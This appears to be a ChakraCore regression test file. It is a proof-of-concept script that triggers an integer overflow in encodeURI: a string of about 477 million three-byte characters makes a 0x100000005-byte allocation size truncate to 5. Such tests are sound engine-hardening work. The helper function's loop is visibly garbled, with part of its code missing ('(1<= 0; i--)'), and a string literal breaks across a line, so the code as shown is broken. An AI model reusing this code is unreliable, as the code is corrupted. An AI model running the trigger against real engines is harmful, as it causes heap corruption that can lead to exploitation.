//------------------------------------------------------------------------------------------------------- // Copyright (C) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE.txt file in the project root for full license information. //------------------------------------------------------------------------------------------------------- function get_n_copies_of(ch, n) { var powers = new Array(); powers[0] = ch; for (var i = 1; (1<= 0; i--) { if ((1 << i) > n) continue; out += powers[i]; n -= (1 << i); } return out; } function exploit() { // The choice of character is somewhat important -- we need // something that expands out to 3 bytes in UTF-8 encoding. // In this case, U+20AC satisfies that requirement. var s1 = "\u20ac"; var ss; try { ss = get_n_copies_of(s1, 477218589); } catch (e) { WScript.Echo("You don't have enough free memory or VA to run this -- you'll need as much as possible."); return; } WScript.Echo("SS length = " + ss.length + "
"); // encodeURI sums (3 * [number of UTF-8 bytes required]) for each character // Since we use a char with 3 bytes required, that means the encodeURI memory // allocation is 3 * 3 * 477218589 = 0x100000005. // This truncates when fit into a ulong to just 5. WScript.Echo(encodeURI(ss).length); } try { exploit(); } catch (e) { WScript.Echo("Message: " + e.message); }